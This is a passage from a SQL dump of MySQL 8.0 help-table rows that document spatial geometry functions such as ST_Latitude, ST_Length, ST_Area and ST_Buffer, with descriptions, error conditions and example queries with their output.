(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_srs_not_found) error does not occur.\n\nST_SRID(g, target_srid) and ST_Transform(g, target_srid) differ as\nfollows:\n\no ST_SRID() changes the geometry SRID value without transforming its\n coordinates.\n\no ST_Transform() transforms the geometry coordinates in addition to\n changing its SRID value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','mysql> SET @g = ST_GeomFromText(\'LineString(1 1,2 2)\', 0);\nmysql> SELECT ST_SRID(@g);\n+-------------+\n| ST_SRID(@g) |\n+-------------+\n| 0 |\n+-------------+\nmysql> SET @g = ST_SRID(@g, 4326);\nmysql> SELECT ST_SRID(@g);\n+-------------+\n| ST_SRID(@g) |\n+-------------+\n| 4326 |\n+-------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(323,'ST_LATITUDE',27,'ST_Latitude(p [, new_latitude_val])\n\nWith a single argument representing a valid Point object p that has a\ngeographic spatial reference system (SRS), ST_Latitude() returns the\nlatitude value of p as a double-precision number.\n\nWith the optional second argument representing a valid latitude value,\nST_Latitude() returns a Point object like the first argument with its\nlatitude equal to the second argument.\n\nST_Latitude() handles its arguments as described in the introduction to\nthis section, with the addition that if the Point object is valid but\ndoes not have a geographic SRS, an ER_SRS_NOT_GEOGRAPHIC\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_srs_not_geographic) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html\n\n','mysql> SET @pt = ST_GeomFromText(\'POINT(45 90)\', 4326);\nmysql> SELECT ST_Latitude(@pt);\n+------------------+\n| ST_Latitude(@pt) |\n+------------------+\n| 45 |\n+------------------+\nmysql> SELECT ST_AsText(ST_Latitude(@pt, 10));\n+---------------------------------+\n| ST_AsText(ST_Latitude(@pt, 10)) |\n+---------------------------------+\n| POINT(10 90) |\n+---------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html'),(324,'ST_LONGITUDE',27,'ST_Longitude(p [, new_longitude_val])\n\nWith a single argument representing a valid Point object p that has a\ngeographic spatial reference system (SRS), ST_Longitude() returns the\nlongitude value of p as a double-precision number.\n\nWith the optional second argument representing a valid longitude value,\nST_Longitude() returns a Point object like the first argument with its\nlongitude equal to the second argument.\n\nST_Longitude() handles its arguments as described in the introduction\nto this section, with the addition that if the Point object is valid\nbut does not have a geographic SRS, an ER_SRS_NOT_GEOGRAPHIC\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_srs_not_geographic) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html\n\n','mysql> SET @pt = ST_GeomFromText(\'POINT(45 90)\', 4326);\nmysql> SELECT ST_Longitude(@pt);\n+-------------------+\n| ST_Longitude(@pt) |\n+-------------------+\n| 90 |\n+-------------------+\nmysql> SELECT ST_AsText(ST_Longitude(@pt, 10));\n+----------------------------------+\n| ST_AsText(ST_Longitude(@pt, 10)) |\n+----------------------------------+\n| POINT(45 10) |\n+----------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html'),(325,'ST_X',27,'ST_X(p [, new_x_val])\n\nWith a single argument representing a valid Point object p, ST_X()\nreturns the X-coordinate value of p as a double-precision number. As of\nMySQL 8.0.12, the X coordinate is considered to refer to the axis that\nappears first in the Point spatial reference system (SRS) definition.\n\nWith the optional second argument, ST_X() returns a Point object like\nthe first argument with its X coordinate equal to the second argument.\nAs of MySQL 8.0.12, if the Point object has a geographic SRS, the\nsecond argument must be in the proper range for longitude or latitude\nvalues.\n\nST_X() handles its arguments as described in the introduction to this\nsection.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html\n\n','mysql> SELECT ST_X(Point(56.7, 53.34));\n+--------------------------+\n| ST_X(Point(56.7, 53.34)) |\n+--------------------------+\n| 56.7 |\n+--------------------------+\nmysql> SELECT ST_AsText(ST_X(Point(56.7, 53.34), 10.5));\n+-------------------------------------------+\n| ST_AsText(ST_X(Point(56.7, 53.34), 10.5)) |\n+-------------------------------------------+\n| POINT(10.5 53.34) |\n+-------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html'),(326,'ST_Y',27,'ST_Y(p [, new_y_val])\n\nWith a single argument representing a valid Point object p, ST_Y()\nreturns the Y-coordinate value of p as a double-precision number. As of\nMySQL 8.0.12, the Y coordinate is considered to refer to the axis that\nappears second in the Point spatial reference system (SRS) definition.\n\nWith the optional second argument, ST_Y() returns a Point object like\nthe first argument with its Y coordinate equal to the second argument.\nAs of MySQL 8.0.12, if the Point object has a geographic SRS, the\nsecond argument must be in the proper range for longitude or latitude\nvalues.\n\nST_Y() handles its arguments as described in the introduction to this\nsection.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html\n\n','mysql> SELECT ST_Y(Point(56.7, 53.34));\n+--------------------------+\n| ST_Y(Point(56.7, 53.34)) |\n+--------------------------+\n| 53.34 |\n+--------------------------+\nmysql> SELECT ST_AsText(ST_Y(Point(56.7, 53.34), 10.5));\n+-------------------------------------------+\n| ST_AsText(ST_Y(Point(56.7, 53.34), 10.5)) |\n+-------------------------------------------+\n| POINT(56.7 10.5) |\n+-------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-point-property-functions.html'),(327,'ST_ENDPOINT',28,'ST_EndPoint(ls)\n\nReturns the Point that is the endpoint of the LineString value ls.\n\nST_EndPoint() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls = \'LineString(1 1,2 2,3 3)\';\nmysql> SELECT ST_AsText(ST_EndPoint(ST_GeomFromText(@ls)));\n+----------------------------------------------+\n| ST_AsText(ST_EndPoint(ST_GeomFromText(@ls))) |\n+----------------------------------------------+\n| POINT(3 3) |\n+----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(328,'ST_ISCLOSED',28,'ST_IsClosed(ls)\n\nFor a LineString value ls, ST_IsClosed() returns 1 if ls is closed\n(that is, its ST_StartPoint() and ST_EndPoint() values are the same).\n\nFor a MultiLineString value ls, ST_IsClosed() returns 1 if ls is closed\n(that is, the ST_StartPoint() and ST_EndPoint() values are the same for\neach LineString in ls).\n\nST_IsClosed() returns 0 if ls is not closed, and NULL if ls is NULL.\n\nST_IsClosed() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no If the geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls1 = \'LineString(1 1,2 2,3 3,2 2)\';\nmysql> SET @ls2 = \'LineString(1 1,2 2,3 3,1 1)\';\n\nmysql> SELECT ST_IsClosed(ST_GeomFromText(@ls1));\n+------------------------------------+\n| ST_IsClosed(ST_GeomFromText(@ls1)) |\n+------------------------------------+\n| 0 |\n+------------------------------------+\n\nmysql> SELECT ST_IsClosed(ST_GeomFromText(@ls2));\n+------------------------------------+\n| ST_IsClosed(ST_GeomFromText(@ls2)) |\n+------------------------------------+\n| 1 |\n+------------------------------------+\n\nmysql> SET @ls3 = \'MultiLineString((1 1,2 2,3 3),(4 4,5 5))\';\n\nmysql> SELECT ST_IsClosed(ST_GeomFromText(@ls3));\n+------------------------------------+\n| ST_IsClosed(ST_GeomFromText(@ls3)) |\n+------------------------------------+\n| 0 |\n+------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(329,'ST_LENGTH',28,'ST_Length(ls [, unit])\n\nReturns a double-precision number indicating the length of the\nLineString or MultiLineString value ls in its associated spatial\nreference system. The length of a MultiLineString value is equal to the\nsum of the lengths of its elements.\n\nST_Length() computes a result as follows:\n\no If the geometry is a valid LineString in a Cartesian SRS, the return\n value is the Cartesian length of the geometry.\n\no If the geometry is a valid MultiLineString in a Cartesian SRS, the\n return value is the sum of the Cartesian lengths of its elements.\n\no If the geometry is a valid LineString in a geographic SRS, the return\n value is the geodetic length of the geometry in that SRS, in meters.\n\no If the geometry is a valid MultiLineString in a geographic SRS, the\n return value is the sum of the geodetic lengths of its elements in\n that SRS, in meters.\n\nST_Length() handles its arguments as described in the introduction to\nthis section, with these exceptions:\n\no If the geometry is not a LineString or MultiLineString, the return\n value is NULL.\n\no If the geometry is geometrically invalid, either the result is an\n undefined length (that is, it can be any number), or an error occurs.\n\no If the length computation result is +inf, an ER_DATA_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_data_out_of_range) error occurs.\n\no If the geometry has a geographic SRS with a longitude or latitude\n that is out of range, an error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. The exact range limits deviate slightly\n due to floating-point arithmetic.\n\nAs of MySQL 8.0.16, ST_Length() permits an optional unit argument that\nspecifies the linear unit for the returned length value. These rules\napply:\n\no If a unit is specified but not supported by MySQL, an\n ER_UNIT_NOT_FOUND\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_unit_not_found) error occurs.\n\no If a supported linear unit is specified and the SRID is 0, an\n ER_GEOMETRY_IN_UNKNOWN_LENGTH_UNIT\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_geometry_in_unknown_length_unit) error occurs.\n\no If a supported linear unit is specified and the SRID is not 0, the\n result is in that unit.\n\no If a unit is not specified, the result is in the unit of the SRS of\n the geometries, whether Cartesian or geographic. Currently, all MySQL\n SRSs are expressed in meters.\n\nA unit is supported if it is found in the INFORMATION_SCHEMA\nST_UNITS_OF_MEASURE table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-st-units-of-\nmeasure-table.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls = ST_GeomFromText(\'LineString(1 1,2 2,3 3)\');\nmysql> SELECT ST_Length(@ls);\n+--------------------+\n| ST_Length(@ls) |\n+--------------------+\n| 2.8284271247461903 |\n+--------------------+\n\nmysql> SET @mls = ST_GeomFromText(\'MultiLineString((1 1,2 2,3 3),(4 4,5 5))\');\nmysql> SELECT ST_Length(@mls);\n+-------------------+\n| ST_Length(@mls) |\n+-------------------+\n| 4.242640687119286 |\n+-------------------+\n\nmysql> SET @ls = ST_GeomFromText(\'LineString(1 1,2 2,3 3)\', 4326);\nmysql> SELECT ST_Length(@ls);\n+-------------------+\n| ST_Length(@ls) |\n+-------------------+\n| 313701.9623204328 |\n+-------------------+\nmysql> SELECT ST_Length(@ls, \'metre\');\n+-------------------------+\n| ST_Length(@ls, \'metre\') |\n+-------------------------+\n| 313701.9623204328 |\n+-------------------------+\nmysql> SELECT ST_Length(@ls, \'foot\');\n+------------------------+\n| ST_Length(@ls, \'foot\') |\n+------------------------+\n| 1029205.9131247795 |\n+------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(330,'ST_NUMPOINTS',28,'ST_NumPoints(ls)\n\nReturns the number of Point objects in the LineString value ls.\n\nST_NumPoints() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls = \'LineString(1 1,2 2,3 3)\';\nmysql> SELECT ST_NumPoints(ST_GeomFromText(@ls));\n+------------------------------------+\n| ST_NumPoints(ST_GeomFromText(@ls)) |\n+------------------------------------+\n| 3 |\n+------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(331,'ST_POINTN',28,'ST_PointN(ls, N)\n\nReturns the N-th Point in the Linestring value ls. Points are numbered\nbeginning with 1.\n\nST_PointN() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls = \'LineString(1 1,2 2,3 3)\';\nmysql> SELECT ST_AsText(ST_PointN(ST_GeomFromText(@ls),2));\n+----------------------------------------------+\n| ST_AsText(ST_PointN(ST_GeomFromText(@ls),2)) |\n+----------------------------------------------+\n| POINT(2 2) |\n+----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(332,'ST_STARTPOINT',28,'ST_StartPoint(ls)\n\nReturns the Point that is the start point of the LineString value ls.\n\nST_StartPoint() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html\n\n','mysql> SET @ls = \'LineString(1 1,2 2,3 3)\';\nmysql> SELECT ST_AsText(ST_StartPoint(ST_GeomFromText(@ls)));\n+------------------------------------------------+\n| ST_AsText(ST_StartPoint(ST_GeomFromText(@ls))) |\n+------------------------------------------------+\n| POINT(1 1) |\n+------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-linestring-property-functions.html'),(333,'ST_AREA',29,'ST_Area({poly|mpoly})\n\nReturns a double-precision number indicating the area of the Polygon or\nMultiPolygon argument, as measured in its spatial reference system.\n\nAs of MySQL 8.0.13, ST_Area() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If the geometry is geometrically invalid, either the result is an\n undefined area (that is, it can be any number), or an error occurs.\n\no If the geometry is valid but is not a Polygon or MultiPolygon object,\n an ER_UNEXPECTED_GEOMETRY_TYPE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_unexpected_geometry_type) error occurs.\n\no If the geometry is a valid Polygon in a Cartesian SRS, the result is\n the Cartesian area of the polygon.\n\no If the geometry is a valid MultiPolygon in a Cartesian SRS, the\n result is the sum of the Cartesian area of the polygons.\n\no If the geometry is a valid Polygon in a geographic SRS, the result is\n the geodetic area of the polygon in that SRS, in square meters.\n\no If the geometry is a valid MultiPolygon in a geographic SRS, the\n result is the sum of geodetic area of the polygons in that SRS, in\n square meters.\n\no If an area computation results in +inf, an ER_DATA_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_data_out_of_range) error occurs.\n\no If the geometry has a geographic SRS with a longitude or latitude\n that is out of range, an error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. The exact range limits deviate slightly\n due to floating-point arithmetic.\n\nPrior to MySQL 8.0.13, ST_Area() handles its arguments as described in\nthe introduction to this section, with these exceptions:\n\no For arguments of dimension 0 or 1, the result is 0.\n\no If a geometry is empty, the return value is 0 rather than NULL.\n\no For a geometry collection, the result is the sum of the area values\n of all components. If the geometry collection is empty, its area is\n returned as 0.\n\no If the geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html\n\n','mysql> SET @poly =\n \'Polygon((0 0,0 3,3 0,0 0),(1 1,1 2,2 1,1 1))\';\nmysql> SELECT ST_Area(ST_GeomFromText(@poly));\n+---------------------------------+\n| ST_Area(ST_GeomFromText(@poly)) |\n+---------------------------------+\n| 4 |\n+---------------------------------+\n\nmysql> SET @mpoly =\n \'MultiPolygon(((0 0,0 3,3 3,3 0,0 0),(1 1,1 2,2 2,2 1,1 1)))\';\nmysql> SELECT ST_Area(ST_GeomFromText(@mpoly));\n+----------------------------------+\n| ST_Area(ST_GeomFromText(@mpoly)) |\n+----------------------------------+\n| 8 |\n+----------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html'),(334,'ST_CENTROID',29,'ST_Centroid({poly|mpoly})\n\nReturns the mathematical centroid for the Polygon or MultiPolygon\nargument as a Point. The result is not guaranteed to be on the\nMultiPolygon.\n\nThis function processes geometry collections by computing the centroid\npoint for components of highest dimension in the collection. Such\ncomponents are extracted and made into a single MultiPolygon,\nMultiLineString, or MultiPoint for centroid computation.\n\nST_Centroid() handles its arguments as described in the introduction to\nthis section, with these exceptions:\n\no The return value is NULL for the additional condition that the\n argument is an empty geometry collection.\n\no If the geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html\n\n','mysql> SET @poly =\n ST_GeomFromText(\'POLYGON((0 0,10 0,10 10,0 10,0 0),(5 5,7 5,7 7,5 7,5 5))\');\nmysql> SELECT ST_GeometryType(@poly),ST_AsText(ST_Centroid(@poly));\n+------------------------+--------------------------------------------+\n| ST_GeometryType(@poly) | ST_AsText(ST_Centroid(@poly)) |\n+------------------------+--------------------------------------------+\n| POLYGON | POINT(4.958333333333333 4.958333333333333) |\n+------------------------+--------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html'),(335,'ST_EXTERIORRING',29,'ST_ExteriorRing(poly)\n\nReturns the exterior ring of the Polygon value poly as a LineString.\n\nST_ExteriorRing() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html\n\n','mysql> SET @poly =\n \'Polygon((0 0,0 3,3 3,3 0,0 0),(1 1,1 2,2 2,2 1,1 1))\';\nmysql> SELECT ST_AsText(ST_ExteriorRing(ST_GeomFromText(@poly)));\n+----------------------------------------------------+\n| ST_AsText(ST_ExteriorRing(ST_GeomFromText(@poly))) |\n+----------------------------------------------------+\n| LINESTRING(0 0,0 3,3 3,3 0,0 0) |\n+----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html'),(336,'ST_INTERIORRINGN',29,'ST_InteriorRingN(poly, N)\n\nReturns the N-th interior ring for the Polygon value poly as a\nLineString. Rings are numbered beginning with 1.\n\nST_InteriorRingN() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html\n\n','mysql> SET @poly =\n \'Polygon((0 0,0 3,3 3,3 0,0 0),(1 1,1 2,2 2,2 1,1 1))\';\nmysql> SELECT ST_AsText(ST_InteriorRingN(ST_GeomFromText(@poly),1));\n+-------------------------------------------------------+\n| ST_AsText(ST_InteriorRingN(ST_GeomFromText(@poly),1)) |\n+-------------------------------------------------------+\n| LINESTRING(1 1,1 2,2 2,2 1,1 1) |\n+-------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html'),(337,'ST_NUMINTERIORRINGS',29,'ST_NumInteriorRing(poly), ST_NumInteriorRings(poly)\n\nReturns the number of interior rings in the Polygon value poly.\n\nST_NumInteriorRing() and ST_NuminteriorRings() handle their arguments\nas described in the introduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html\n\n','mysql> SET @poly =\n \'Polygon((0 0,0 3,3 3,3 0,0 0),(1 1,1 2,2 2,2 1,1 1))\';\nmysql> SELECT ST_NumInteriorRings(ST_GeomFromText(@poly));\n+---------------------------------------------+\n| ST_NumInteriorRings(ST_GeomFromText(@poly)) |\n+---------------------------------------------+\n| 1 |\n+---------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-polygon-property-functions.html'),(338,'ST_GEOMETRYN',30,'ST_GeometryN(gc, N)\n\nReturns the N-th geometry in the GeometryCollection value gc.\nGeometries are numbered beginning with 1.\n\nST_GeometryN() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-geometrycollection-property-functions.html\n\n','mysql> SET @gc = \'GeometryCollection(Point(1 1),LineString(2 2, 3 3))\';\nmysql> SELECT ST_AsText(ST_GeometryN(ST_GeomFromText(@gc),1));\n+-------------------------------------------------+\n| ST_AsText(ST_GeometryN(ST_GeomFromText(@gc),1)) |\n+-------------------------------------------------+\n| POINT(1 1) |\n+-------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-geometrycollection-property-functions.html'),(339,'ST_NUMGEOMETRIES',30,'ST_NumGeometries(gc)\n\nReturns the number of geometries in the GeometryCollection value gc.\n\nST_NumGeometries() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-geometrycollection-property-functions.html\n\n','mysql> SET @gc = \'GeometryCollection(Point(1 1),LineString(2 2, 3 3))\';\nmysql> SELECT ST_NumGeometries(ST_GeomFromText(@gc));\n+----------------------------------------+\n| ST_NumGeometries(ST_GeomFromText(@gc)) |\n+----------------------------------------+\n| 2 |\n+----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-geometrycollection-property-functions.html'),(340,'ST_BUFFER',30,'ST_Buffer(g, d [, strategy1 [, strategy2 [, strategy3]]])\n\nReturns a geometry that represents all points whose distance from the\ngeometry value g is less than or equal to a distance of d. The result\nis in the same SRS as the geometry argument.\n\nIf the geometry argument is empty, ST_Buffer() returns an empty\ngeometry.\n\nIf the distance is 0, ST_Buffer() returns the geometry argument\nunchanged:\n\nmysql> SET @pt = ST_GeomFromText(\'POINT(0 0)\');\nmysql> SELECT ST_AsText(ST_Buffer(@pt, 0));\n+------------------------------+\n| ST_AsText(ST_Buffer(@pt, 0)) |\n+------------------------------+\n| POINT(0 0) |\n+------------------------------+\n\nIf the geometry argument is in a Cartesian SRS:\n\no ST_Buffer() supports negative distances for Polygon and MultiPolygon\n values, and for geometry collections containing Polygon or\n MultiPolygon values.\n\no If the result is reduced so much that it disappears, the result is an\n empty geometry.\n\no An ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs for ST_Buffer() with a\n negative distance for Point, MultiPoint, LineString, and\n MultiLineString values, and for geometry collections not containing\n any Polygon or MultiPolygon values.\n\nIf the geometry argument is in a geographic SRS:\n\no Prior to MySQL 8.0.26, an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\no As of MySQL 8.0.26, Point geometries in a geographic SRS are\n permitted. For non-Point geometries, an\n ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error still\n occurs.\n\nFor MySQL versions that permit geographic Point geometries:\n\no If the distance is not negative and no strategies are specified, the\n function returns the geographic buffer of the Point in its SRS. The\n distance argument must be in the SRS distance unit (currently always\n meters).\n\no If the distance is negative or any strategy (except NULL) is\n specified, an ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs.\n\nST_Buffer() permits up to three optional strategy arguments following\nthe distance argument. Strategies influence buffer computation. These\narguments are byte string values produced by the ST_Buffer_Strategy()\nfunction, to be used for point, join, and end strategies:\n\no Point strategies apply to Point and MultiPoint geometries. If no\n point strategy is specified, the default is\n ST_Buffer_Strategy(\'point_circle\', 32).\n\no Join strategies apply to LineString, MultiLineString, Polygon, and\n MultiPolygon geometries. If no join strategy is specified, the\n default is ST_Buffer_Strategy(\'join_round\', 32).\n\no End strategies apply to LineString and MultiLineString geometries. If\n no end strategy is specified, the default is\n ST_Buffer_Strategy(\'end_round\', 32).\n\nUp to one strategy of each type may be specified, and they may be given\nin any order.\n\nIf the buffer strategies are invalid, an ER_WRONG_ARGUMENTS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_wrong_arguments) error occurs. Strategies are invalid\nunder any of these circumstances:\n\no Multiple strategies of a given type (point, join, or end) are\n specified.\n\no A value that is not a strategy (such as an arbitrary binary string or\n a number) is passed as a strategy.\n\no A Point strategy is passed and the geometry contains no Point or\n MultiPoint values.\n\no An end or join strategy is passed and the geometry contains no\n LineString, Polygon, MultiLinestring or MultiPolygon values.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @pt = ST_GeomFromText(\'POINT(0 0)\');\nmysql> SET @pt_strategy = ST_Buffer_Strategy(\'point_square\');\nmysql> SELECT ST_AsText(ST_Buffer(@pt, 2, @pt_strategy));\n+--------------------------------------------+\n| ST_AsText(ST_Buffer(@pt, 2, @pt_strategy)) |\n+--------------------------------------------+\n| POLYGON((-2 -2,2 -2,2 2,-2 2,-2 -2)) |\n+--------------------------------------------+\n\nmysql> SET @ls = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\');\nmysql> SET @end_strategy = ST_Buffer_Strategy(\'end_flat\');\nmysql> SET @join_strategy = ST_Buffer_Strategy(\'join_round\', 10);\nmysql> SELECT ST_AsText(ST_Buffer(@ls, 5, @end_strategy, @join_strategy))\n+---------------------------------------------------------------+\n| ST_AsText(ST_Buffer(@ls, 5, @end_strategy, @join_strategy)) |\n+---------------------------------------------------------------+\n| POLYGON((5 5,5 10,0 10,-3.5355339059327373 8.535533905932738, |\n| -5 5,-5 0,0 0,5 0,5 5)) |\n+---------------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(341,'ST_BUFFER_STRATEGY',30,'ST_Buffer_Strategy(strategy [, points_per_circle])\n\nThis function returns a strategy byte string for use with ST_Buffer()\nto influence buffer computation.\n\nInformation about strategies is available at Boost.org\n(http://www.boost.org).\n\nThe first argument must be a string indicating a strategy option:\n\no For point strategies, permitted values are \'point_circle\' and\n \'point_square\'.\n\no For join strategies, permitted values are \'join_round\' and\n \'join_miter\'.\n\no For end strategies, permitted values are \'end_round\' and \'end_flat\'.\n\nIf the first argument is \'point_circle\', \'join_round\', \'join_miter\', or\n\'end_round\', the points_per_circle argument must be given as a positive\nnumeric value. The maximum points_per_circle value is the value of the\nmax_points_in_geometry system variable.\n\nFor examples, see the description of ST_Buffer().\n\nST_Buffer_Strategy() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If any argument is invalid, an ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs.\n\no If the first argument is \'point_square\' or \'end_flat\', the\n points_per_circle argument must not be given or an ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(342,'ST_CONVEXHULL',30,'ST_ConvexHull(g)\n\nReturns a geometry that represents the convex hull of the geometry\nvalue g.\n\nThis function computes a geometry\'s convex hull by first checking\nwhether its vertex points are colinear. The function returns a linear\nhull if so, a polygon hull otherwise. This function processes geometry\ncollections by extracting all vertex points of all components of the\ncollection, creating a MultiPoint value from them, and computing its\nconvex hull.\n\nST_ConvexHull() handles its arguments as described in the introduction\nto this section, with this exception:\n\no The return value is NULL for the additional condition that the\n argument is an empty geometry collection.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @g = \'MULTIPOINT(5 0,25 0,15 10,15 25)\';\nmysql> SELECT ST_AsText(ST_ConvexHull(ST_GeomFromText(@g)));\n+-----------------------------------------------+\n| ST_AsText(ST_ConvexHull(ST_GeomFromText(@g))) |\n+-----------------------------------------------+\n| POLYGON((5 0,25 0,15 25,5 